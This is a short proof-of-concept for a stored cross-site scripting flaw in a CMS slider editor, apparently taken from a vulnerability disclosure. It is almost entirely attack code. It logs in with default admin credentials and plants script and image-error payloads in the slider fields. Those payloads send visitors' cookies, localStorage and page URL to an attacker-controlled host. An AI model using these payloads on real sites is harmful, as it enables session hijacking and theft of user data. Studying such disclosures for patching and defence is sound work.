CVE-2025-9981: QuickCMS slider编辑器存在多个存储型XSS漏洞

// CVE-2025-9981 PoC - Stored XSS in QuickCMS Slider Editor // Target: QuickCMS <= 6.8 sliders-form endpoint // Step 1: Authenticate as admin const loginEndpoint = 'http://target.com/admin/login.php'; const credentials = { username: 'admin', password: 'admin123' }; // Step 2: Inject XSS payload via slider editor const xssPayload = '<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>'; const sliderFormEndpoint = 'http://target.com/admin/sliders-form.php'; const maliciousSlider = { name: 'Malicious Slider', description: xssPayload, // XSS payload injection point content: '<img src=x onerror="fetch(\'https://attacker.com/log?c=\'+document.cookie)">' }; // Step 3: Submit the malicious slider // POST request to sliders-form.php with crafted parameters // Payload will be stored and executed on all pages displaying the slider // Alternative payload for stealing admin session: const sessionHijackPayload = ` <img src=x onerror=" fetch('https://attacker.com/api/log', { method: 'POST', body: JSON.stringify({ cookies: document.cookie, localStorage: localStorage, url: window.location.href }) }) "> `;